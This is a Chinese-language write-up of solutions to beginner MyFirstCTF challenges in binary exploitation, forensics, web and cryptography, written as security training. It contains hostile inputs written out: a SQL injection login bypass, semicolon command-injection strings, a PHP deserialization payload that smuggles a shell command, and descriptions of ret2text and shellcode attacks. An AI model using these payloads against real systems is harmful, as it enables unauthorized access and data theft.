Binary
Soeasy
1 | 第一堂逆向工程課 |
從檔案名稱可以看出題目要考簡單的逆向工程,
比較快速的解法是直接下 strings 查看可印出的字符串,再利用 grep 快速搜尋 FLAG 關鍵字
其實也可以用 IDAPro 看偽代碼,可以發現程式執行不管輸入什麼字都不會印出 FLAG。
MyFirstObfuscatedCode
1 | 日本風格的javascript變裝術 |
稍微 Google 一下關鍵字 javascript 混淆 顏文字
,應該就會知道這是 aaencode,所以丟 aaencode Decoder 就可以解出來了。
另外一種比較常見的混淆還有 jsfuck ,曾被當作 AIS3-2015-Web2 的考題。
更多關於 JavaScript 混淆的資訊請 點我
Pwntools
想辦法 parse 題目成這種格式:a + b
之後使用 python 的 eval 就可以直接算出答案了
Return
1 | 控制暫存器rip等同控制世界! |
簡單的 ret2text ,透過 Stack overflow 蓋掉 gets() 的 Return Address,並將指令指針(RIP)指向 you_cant_see_this_its_too_evil(),並且成功 getshell。
直接上 exploit:
1 | #! /usr/bin/python |
更多 ret2text 的學習資源請 點我
Shellcode
1 | 厲害的駭客都擅長shellcoding |
- 有 memory leak (input buffer address)
- 沒開 NX 保護
- 有 RWX Segment
所以我們要將可以拿到 shell 的 Shellcode 透過一開始的 gets() 放進我們已知記憶體位置的 input buffer,在利用前面所學到的 ret2text 的技巧,蓋掉 gets() 的 return address,讓 RIP 指到 input buffer。
具體 exploit 如下:
1 | #! /usr/bin/python |
由於 NX 保護沒開,所以 input buffer 具有可執行權限,導致我們可以成功 Getshell。
ROP
原本只以為是基本的 ROP ,後來用 gdb 追才發現先有一個 strlen
檢查輸入
後來 google 了一下,發現 \x00
可以直接繞過 strlen
,後面的解法就很正常了
Exploit:
1 | #!/usr/bin/env python |
memo_manager
先上 Exploit:
1 | from pwn import * |
Misc
ASCII
1 | ASCII(American Standard Code for Information Interchange)全名為美國資訊交換標準代碼,是基於拉丁字母的電腦編碼,前期主要用於表示現代英文,擴展版本後甚至支援其他部分西歐語言。 |
丟 ASCII Decoder 秒解。
請愛用:https://www.asciitohex.com/
Secrets in PDF
1 | 第一線資安工程師在攻擊事件現場蒐集到犯罪所遺留的文件,身為鑑識專家的你請協助我們完成找出隱藏在資料裡的資料。 |
真的是有夠87的一題XDDD
直接下載下來,然後用滑鼠反白整張 PDF 就好了。(在網頁版上開 PDF 反白可能沒效喔)
害我想這麼久,真正的第一線資安工程師不會搞這麼無聊的東西好嗎XDDD
Secret of Metadata
1 | 這是一張可疑圖片,身為鑑識專家的你請協助我們完成者找出隱藏在圖片裡的資料。 |
用 StegoSolve 打開圖片,Analyse -> File Format 慢慢翻,會找到 MyFirstCTF 字樣,
我記得 FLAG 在中間,FLAG沒有空白。
另解:Exiftool 可直接找到 flag
Secret images in pictures
1 | 另一張可疑圖片。 |
binwalk + dd 老梗了,直接上 ShellScript 吧dd if=Secret_pic.png of=flag.png bs=1 skip=1364137
詳解請 點我
Sniffering
1 | Insecurity 銀行的遠端連線伺服器發現遭受到駭客植入木馬,銀行的資安人員通知MyFirstSecurity資安技術服務工程師到場進行蒐證。 |
開啟 wireshark,打開 Broken_session.pcap
對其中一條 TCP 傳輸按滑鼠右鍵, folllow -> TCP stream ,就可以看到FLAG。
Linux-hidden file (linux-1)
1 | 資安鑑識人員偵查一台伺服器,發現在/home/lab目錄有重要資料被隱藏,使鑑識人員搜查情資不易,你能夠連至這台伺服器幫忙尋找嗎? |
考你會不會使用 ssh 、怎麼找出隱藏的檔案,在 Linux 中,隱藏的檔案的檔名前面都會有個 “.”
1 | howpwn@nb ~/WriteUp ssh lab@140.110.112.29 -p 2200 |
Linux-find file (linux- 2)
1 | 檢察官終於使嫌犯說出帳密及他把重要的secret檔案放在遠端伺服器,但卻忘了檔案位置,身為資安鑑識人員的你能夠連線至該伺服器,幫忙偵蒐嗎? |
這次就是考你怎麼 find 檔案了
1 | lab@b45a8fa24aa9:~$ find / -name "secret" # 從根目錄底下開始搜尋 secret |
InSecureDataTransfer
1 | MyFirstSecurity資安工程師在攻擊事件現場側錄到遺留有犯罪的可疑封包。 |
在觀察一下之後發現是 FTP 傳檔過程
追蹤一下就可以發現有傳送一個檔 secret.txt
另解 1
strings File_transfer.pcap | grep "CTF"
另解 2
在 wireshark 搜尋欄打上 tcp contains CTF
calculator (ppc-1)
1 | 你能幫我解一些方程式嗎? |
利用 Pwntools 很好解,直接上 Script:
1 | #! /usr/bin/python |
Web
Developer Tools
1 | 資安人員在某公司的網站上發現網站開發人員因為方便開發,而將重要資訊列在前端程式碼中,你能快速的找到這致命的錯誤嗎? |
Ctrl + U 或滑鼠右鍵檢視網頁原始碼:
1 | <!--base64 me --> |
把它丟 Base64 Decoder 就好,請愛用 https://www.asciitohex.com/
robots.txt
1 | robots.txt是一種文字檔案,它說明網站有哪些檔案及哪些目錄是不希望網路搜尋引擎去爬析。 |
前往 http://140.110.112.29:1002/robots.txt
發現洩漏 http://140.110.112.29:1002/admin/ ,且可造訪。
SQL injection
1 | 長期高居OWASP TOP 10第一名的injection flaw是涵蓋許多漏洞的總稱,而其中SQL隱碼攻擊(SQL injection)更是非常著名的網站漏洞,這也是網站安全與威脅的第一堂必修課。 |
1 | Username = admin'# |
成功登入管理員帳號並取得 FLAG
Command injection
1 | InsecureTeleCOM公司為增加使用者的忠誠度特提供一系列的網路服務,其中一項便是佈建網站來提供dns線上查詢功能。 |
利用分號進行命令注入,
- ;ls -al
- 列出 index 所在資料夾的所有檔案
- ;cat ../flag
- 成功得到FLAG
Flashing_Redirect
1 | 快閃式的重導向(Redirect)總是讓你眼花! |
HTTP 302 之類的吧,跟 AIS3-2017-Web1 一樣。
1 | curl http://140.110.112.29:1005/jump.php |
New HTTP method
1 | 你對HTTP狀態碼(HTTP Status Code)及HTTP請求方法(HTTP request methods)了解嗎?熟讀兩者也是資訊安全重要的一環,前者表示該網頁目前的狀態,後者為HTTP協定中定義許多種不同的請求方法,回應的資訊也不同,最常使用的請求方法如GET、POST。 |
一點開網頁就是 HTTP 501 Not Implemented,表示說我們用錯 HTTP Method。
所以我們可以先用 OPTIONS 這個 Method 來查詢到底有哪些 Method 可以使用。
1 | curl -v -X OPTIONS http://140.110.112.29:1006/index.php |
可以看到伺服器可以接收 GiveMeFLAG,OPTIONS 這些 Methond,明顯看出有個 Methond 很奇怪,所以我們試著連上去看看:
1 | curl -v -X GiveMeFLAG http://140.110.112.29:1006/index.php |
成功 GetFLAG。
GuessingAdminSession
1 | 滲透測試專家在測試InsecurBank的網站系統時,發現用來認證登入的session不夠嚴謹,很容易被猜出session來。證明你有能力善用工具來登入設計不良的網站取得管理者(admin)權限! |
猜謎題(?
如果用 barry 登入的話,barry 的 session 是:
PZgebJryZaTvNvrFbgsreBYty
如果想要以 admin 的身份登入的話,session 就需要是:
PZgeaJryZdTvNvmFbgsieBYtn
為什麼?因為:
XXXXaXXXXdXXXXmXXXXiXXXXn
SSTI
tplmap
To serialize or Not to serialize
1 | php反序列化漏洞,php中有兩個函數serialize()和unserialize(),serialize函數可以將物件轉換成字串,儲存物件的值方便之後的傳遞與使用,unserialize函數能夠將字串轉換回原來的值。 |
PHP反序列化漏洞 + Command inject
漏洞主要發生原因是使用者可以控制序列化的內容,導致反序列化時在 magic function 內讓我們可以做一些壞壞der事。
這邊先科普一下重要的 Magic Function:
- __construct()
- 物件被 new 時會自動呼叫,但 unserialize() 時不呼叫
- __destruct()
- 物件被銷毀時自動呼叫
__wakeup()
- unserialize() 時自動呼叫
- __sleep()
- 被 serialize() 時自動呼叫
可以用以下產生 Payload:
1 | class MyFirstCTF { |
這邊需要注意不同的變數範圍會有不同的序列化結果
- Public $test
- O:10:”MyFirstCTF”:1:{s:4:”
test
“;s:5:”6l0ry”;}
- O:10:”MyFirstCTF”:1:{s:4:”
- Private $test
- O:10:”MyFirstCTF”:1:{s:16:”
MyFirstCTFtest
“;s:5:”6l0ry”;}
- O:10:”MyFirstCTF”:1:{s:16:”
- Protected $test
- O:10:”MyFirstCTF”:1:{s:
7
:”%00*%00test
“;s:5:”6l0ry”;}
- O:10:”MyFirstCTF”:1:{s:
\x00 是不可視字元,所以記得要 URL encode 上去。不要打 \x00 上去啊!這不是 Binary XDD
所以最後 Payload 應該要長的像這樣:
http://140.110.112.29:1009/index.php?str=O:10:"MyFirstCTF":1:{s:7:"%00*%00test";s:7:";cat%20T*";}
XXE
1 | OWASP在2017年提出最新版,其中包含了 A4-XML External Entities(XXE) |
NOPE
我還不太會解釋,其他人先幫我寫ㄅ,下面給你 Request Body
Request Body:
1 | GET /?CTF=Password147186970! HTTP/1.1 |
Crypto
凱撒密碼
1 | 凱撒密碼(Caesar cipher)將加密前的字串按照一定的數目向左或向右移動,替換出來的字串就成為密文。這是古典密碼最知名的加密方式也是破密分析第一堂課。 |
凱薩密碼用窮舉法最好破解,最多只需要破解 25 次即可得到明文。
https://planetcalc.com/1434/
Transposition ciphers
1 | 資安人員在InsecureBank做資安健檢,發現某台電腦存在可疑的程式在深夜固定時間都會送出一些特定封包給特定IP,顯示似乎已遭到駭客植入木馬。在網路封包中經常發現底下附件的通關密語,內容看似亂碼又似乎有規則性,聰明的你能分辯出正確的訊息嗎? |
這題其實蠻有趣的,只要眼睛夠尖就可以發現密文有些端倪,
你會發現在密文中,每 4 個字元就會出現一個明文字元,
依照這種節奏,就可以找出明文字串了。
這邊有個工具可以快速驗證是不是轉置密碼,只是我認為不是最好的工具就是了。 (Proposed Key length = 5)
XOR Cipher
1 | 對稱式密碼中常用xor運算,廷廷宣稱他把一支程式用xor加密了,誰都打不開。 |
比較少看過把執行檔拿來做 XOR,推薦使用 XOR Cracker 解比較快。
Key Length 是 10、Keys 是 “MyFirstCTF”,把解密檔案下載下來,
下載下來後發現是壞掉的執行檔,可以使用 soeasy 題目使用到的技巧把可打印字符串倒出來,
然後你就會看到 FLAG 了。
另解
利用 xortool
找到 key length
之後就可以用 xortool 秒解了
最後的執行檔
HashingService
1 | 維基百科說"雜湊函式(或雜湊演算法,又稱雜湊函式,英語:Hash Function)是一種從任何一種資料中建立小的數字「指紋」的方法。 |
老實說這題有點意義不明,就把 “P3bHzH5pcrGoHF7PGEee” 用線上工具作 SHA-1 得到 “d2399fe795d2ba29f4947ac7d0be614c2190bbf3”,然後再 nc 上伺服器把 Hash 過的資料丟給它就好,
然後它就給你 FLAG 了。
我還以為要 Hash 100次之類的勒!
MD5 collision
1 | MD5加密主要是確保資訊完整一致,時常被使用在密碼加密中。但PHP處理MD5時,如使用PHP弱類型比較的程式碼容易產生md5碰撞(md5 collision)。 |
PHP 弱類型比較老梗。簡單做個 Demo:
1 | "0e1234" == "0e5678" // True |
所以這題的解法只要隨便找個字串經過 MD5 後為 0e 開頭的即可繞過登入密碼的限制。
以下這些字串都可以:
1 | MD5("QNKCDZO") = 0e830400451993494058024219903391 |
SHA1 collision
1 | 2017年2月23日google在底下網址宣稱已經成功攻破sha1 |
什麼?你以為真的要你碰撞兩組 SHA-1 嗎?
跟 MD5 collision 一樣,只要找出符合 SHA-1 後是 0e 開頭的資料即可
我使用 “10932435112”
RSA
1 | RSA加密演算法是著名的非對稱加密演算法,在電子商業中RSA加密被廣泛使用。資安人員在某間公司發現他們的產品使用RSA加密技術時,RSA某些參數設計不夠嚴謹很容易被破解。 |
n 可以直接使用 factordb.com 解出質數
以下因為題目遺失,將使用類似題型講解
1 | #!/usr/bin/env python |